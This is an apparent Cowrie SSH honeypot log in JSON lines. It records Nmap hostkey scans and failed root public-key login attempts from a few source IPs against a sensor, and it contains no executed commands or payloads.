{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:14.485434Z","src_ip":"172.232.170.154","session":"484d9495a925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24388,"dst_ip":"10.17.0.5","dst_port":22,"session":"33c38a25d2a2","protocol":"ssh","message":"New connection: 172.232.170.154:24388 (10.17.0.5:22) [session: 33c38a25d2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:26.479452Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:26.612255Z","src_ip":"172.232.170.154","session":"33c38a25d2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:26.616472Z","src_ip":"172.232.170.154","session":"33c38a25d2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24404,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab49ebae2e54","protocol":"ssh","message":"New connection: 172.232.170.154:24404 (10.17.0.5:22) [session: ab49ebae2e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:26.840313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:26.973324Z","src_ip":"172.232.170.154","session":"ab49ebae2e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.035213Z","src_ip":"172.232.170.154","session":"ab49ebae2e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.039305Z","src_ip":"172.232.170.154","session":"ab49ebae2e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24418,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e198d2d94e","protocol":"ssh","message":"New connection: 172.232.170.154:24418 (10.17.0.5:22) [session: c4e198d2d94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.200388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.316919Z","src_ip":"172.232.170.154","session":"c4e198d2d94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":40234,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8cad9c00e32","protocol":"ssh","message":"New connection: 45.148.10.121:40234 (10.17.0.5:22) [session: f8cad9c00e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.345132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.349110Z","src_ip":"45.148.10.121","session":"f8cad9c00e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.378354Z","src_ip":"172.232.170.154","session":"c4e198d2d94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.434697Z","src_ip":"45.148.10.121","session":"f8cad9c00e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.612109Z","src_ip":"172.232.170.154","session":"c4e198d2d94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24420,"dst_ip":"10.17.0.5","dst_port":22,"session":"676911f76799","protocol":"ssh","message":"New connection: 172.232.170.154:24420 (10.17.0.5:22) [session: 676911f76799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.672885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.780210Z","src_ip":"172.232.170.154","session":"676911f76799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:27.842488Z","src_ip":"172.232.170.154","session":"676911f76799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.064812Z","src_ip":"172.232.170.154","session":"676911f76799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24430,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c4d79099063","protocol":"ssh","message":"New connection: 172.232.170.154:24430 (10.17.0.5:22) [session: 1c4d79099063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.126372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.234487Z","src_ip":"172.232.170.154","session":"1c4d79099063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.296328Z","src_ip":"172.232.170.154","session":"1c4d79099063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.299630Z","src_ip":"172.232.170.154","session":"1c4d79099063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":24440,"dst_ip":"10.17.0.5","dst_port":22,"session":"8461763286d0","protocol":"ssh","message":"New connection: 172.232.170.154:24440 (10.17.0.5:22) [session: 8461763286d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.459800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.659050Z","src_ip":"172.232.170.154","session":"8461763286d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.725519Z","src_ip":"172.232.170.154","session":"8461763286d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.730152Z","src_ip":"172.232.170.154","session":"8461763286d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.232.170.154","src_port":55312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f171190bb149","protocol":"ssh","message":"New connection: 172.232.170.154:55312 (10.17.0.5:22) [session: f171190bb149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:28.910048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:29.021759Z","src_ip":"172.232.170.154","session":"f171190bb149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0fd089c7135d88c6319124fc5a15d2","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0fd089c7135d88c6319124fc5a15d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:29.083354Z","src_ip":"172.232.170.154","session":"f171190bb149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:29.306112Z","src_ip":"172.232.170.154","session":"f171190bb149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.45.254","src_port":35404,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad8ef131cec","protocol":"ssh","message":"New connection: 45.43.45.254:35404 (10.17.0.5:22) [session: 2ad8ef131cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:35.668840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:35.673009Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:35.864130Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:a3:ff:64:c9:5b:3a:72:e2:8f:8f:fb:30:48:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd+j9SSk+E6lRjXLe8VBzUt1xjHPyPh0/lngV0iO4y3EJs5PcZx3PZtfuTtmaLDks7BOLYefTyzjR9JZES8JCJdsjF9rlJwpUl+3FbT+ycXMPCJ/37x24r6fVT/bHWo7J52+/xXSK8hkW3iGLllUxlN4xZ7G+9e6cVEpgV2BR3msToh4mpwIk9kw6uYxwiOkZIiN9LLg7XuQ0q5rUYEaU5IgcBYEYNIh8q4XqPpPuG2w1FvbYdmTGt6i591Vq3zX9X83cahjk0AMdSnm7Bqkpr20K5iCtefrQaHFGkrk3kixFHpGwsSs4gFXGAgqWg/HZXibOon8o0Z9lcryW72JIV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:a3:ff:64:c9:5b:3a:72:e2:8f:8f:fb:30:48:20:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:36.795732Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:a3:ff:64:c9:5b:3a:72:e2:8f:8f:fb:30:48:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd+j9SSk+E6lRjXLe8VBzUt1xjHPyPh0/lngV0iO4y3EJs5PcZx3PZtfuTtmaLDks7BOLYefTyzjR9JZES8JCJdsjF9rlJwpUl+3FbT+ycXMPCJ/37x24r6fVT/bHWo7J52+/xXSK8hkW3iGLllUxlN4xZ7G+9e6cVEpgV2BR3msToh4mpwIk9kw6uYxwiOkZIiN9LLg7XuQ0q5rUYEaU5IgcBYEYNIh8q4XqPpPuG2w1FvbYdmTGt6i591Vq3zX9X83cahjk0AMdSnm7Bqkpr20K5iCtefrQaHFGkrk3kixFHpGwsSs4gFXGAgqWg/HZXibOon8o0Z9lcryW72JIV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:36.801297Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:1b:ed:31:f3:1b:55:1f:d7:a9:e4:5b:54:cc:f7:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaCNFHm9vgYRlLWikP27POCfesWJ4Y+/MAC6ivmNE99iyfnZ8wt3rmIFUjpwZWBPGrwLOIZPgUqdUM3go8IQ67mxN8w/mQa2Mb7yb27fiBu5vLQGgh9HYDA8oww5mZymNSbRe0aWycj7iWEH+swarfKxf4hjRMI0ZQZrD6KcDWEF5dFwnOa0ufho7YzRce12Y68tg9zVveziqob4RnwSdMNt0lu+eYfc28pl12+ZbumPmYvFYOq9dhfIPc2lT5mcpHmZtjoFDuK5kfAX+1hLqfpP5qs6uAP0268NdLR2qtu+9//jFKcbf1+wVFn3iKX4e/hCU3WsU4uqLJaolvGp7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:1b:ed:31:f3:1b:55:1f:d7:a9:e4:5b:54:cc:f7:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:36.991556Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:1b:ed:31:f3:1b:55:1f:d7:a9:e4:5b:54:cc:f7:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaCNFHm9vgYRlLWikP27POCfesWJ4Y+/MAC6ivmNE99iyfnZ8wt3rmIFUjpwZWBPGrwLOIZPgUqdUM3go8IQ67mxN8w/mQa2Mb7yb27fiBu5vLQGgh9HYDA8oww5mZymNSbRe0aWycj7iWEH+swarfKxf4hjRMI0ZQZrD6KcDWEF5dFwnOa0ufho7YzRce12Y68tg9zVveziqob4RnwSdMNt0lu+eYfc28pl12+ZbumPmYvFYOq9dhfIPc2lT5mcpHmZtjoFDuK5kfAX+1hLqfpP5qs6uAP0268NdLR2qtu+9//jFKcbf1+wVFn3iKX4e/hCU3WsU4uqLJaolvGp7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:36.994101Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:15:41:34:a7:41:50:b7:cb:eb:a6:bd:2b:0b:1f:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFENut91lVbvHDETyuiLgDFcLZVJGK8SnVvA1OJKodqyakwFlMdfdLQm36vNY/ddUp9nxgMepTz6zTbnTUdPiXrt0pbqTcaEH0yeU2/4JxFsi69TR9iPc0WQ8XgaizjKk8rijPhi8b/LVji+PHQiRCqL58expB/R8BnQGDezNSTQxKz5vyBAuulVRcBVPZ3Sx80fo0+8R4Jm9povHr3HhCHxqkQwUnHuT9GMxiWNBjDaALQBTyqC2B38+zk9w/EpCL1g8odwUv/ZT1i26tn0UZ1Tq7KKXSc3XBBf0Vadp4s1YqE1hOM9f/jV7QrG6ARpFFbiDIT6J1cUfg1oNBGBRYXd0h+V0w9+M23D7izJcSkI8raOkKcW1Ps08fQ5IMPqTCI/gJrOcm9we5johSN8sMvehGk/j/DfoZ/P2z6BkSDE8xn4eHpfUH0KtoKFRigdwA+o5KapZO49fL33eXwju4hIqsrKAiQLIrfMbPZ92X1Jxcfx+GOjxP4ls4E5NhKWs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:15:41:34:a7:41:50:b7:cb:eb:a6:bd:2b:0b:1f:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.185374Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:15:41:34:a7:41:50:b7:cb:eb:a6:bd:2b:0b:1f:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFENut91lVbvHDETyuiLgDFcLZVJGK8SnVvA1OJKodqyakwFlMdfdLQm36vNY/ddUp9nxgMepTz6zTbnTUdPiXrt0pbqTcaEH0yeU2/4JxFsi69TR9iPc0WQ8XgaizjKk8rijPhi8b/LVji+PHQiRCqL58expB/R8BnQGDezNSTQxKz5vyBAuulVRcBVPZ3Sx80fo0+8R4Jm9povHr3HhCHxqkQwUnHuT9GMxiWNBjDaALQBTyqC2B38+zk9w/EpCL1g8odwUv/ZT1i26tn0UZ1Tq7KKXSc3XBBf0Vadp4s1YqE1hOM9f/jV7QrG6ARpFFbiDIT6J1cUfg1oNBGBRYXd0h+V0w9+M23D7izJcSkI8raOkKcW1Ps08fQ5IMPqTCI/gJrOcm9we5johSN8sMvehGk/j/DfoZ/P2z6BkSDE8xn4eHpfUH0KtoKFRigdwA+o5KapZO49fL33eXwju4hIqsrKAiQLIrfMbPZ92X1Jxcfx+GOjxP4ls4E5NhKWs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.188078Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:d9:38:4b:0d:43:20:a3:36:cc:6a:3f:7e:70:cf:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT+XDFQ9rSM4QikkG/25uc8YffPGi+paabspoA37k/x1fJ8QTTcP4ViDt2E2LUF6OHxOW4SiXnRaNkLi8Rbjq2H1A+5VOc6ngWoi2kJl7dZ0gPLulrzl8P6gFBiixS2H4oY1xdKpGSxlNiv2G+fI4Yo+2KjDnONu0IDStHErJm9PSNRf9xd4lpZ7PljBn89OP/x5rkTDUdzmKC8cb11M+jSwIegwuGLmisVnMb8TlRwK9lWjJ0LQDT1Gm8KSS2cfzp6LySj2CRWR8gUX8/z4DBBHDpxqt+PYP5CRUg1k0dBauLpp5pX4kRBVIig0q7AjK1HOhMX0ZNEkYAvqT6wk0L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:d9:38:4b:0d:43:20:a3:36:cc:6a:3f:7e:70:cf:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.377381Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:d9:38:4b:0d:43:20:a3:36:cc:6a:3f:7e:70:cf:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT+XDFQ9rSM4QikkG/25uc8YffPGi+paabspoA37k/x1fJ8QTTcP4ViDt2E2LUF6OHxOW4SiXnRaNkLi8Rbjq2H1A+5VOc6ngWoi2kJl7dZ0gPLulrzl8P6gFBiixS2H4oY1xdKpGSxlNiv2G+fI4Yo+2KjDnONu0IDStHErJm9PSNRf9xd4lpZ7PljBn89OP/x5rkTDUdzmKC8cb11M+jSwIegwuGLmisVnMb8TlRwK9lWjJ0LQDT1Gm8KSS2cfzp6LySj2CRWR8gUX8/z4DBBHDpxqt+PYP5CRUg1k0dBauLpp5pX4kRBVIig0q7AjK1HOhMX0ZNEkYAvqT6wk0L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:17:37.379794Z","src_ip":"45.43.45.254","session":"2ad8ef131cec","protocol":"ssh"}
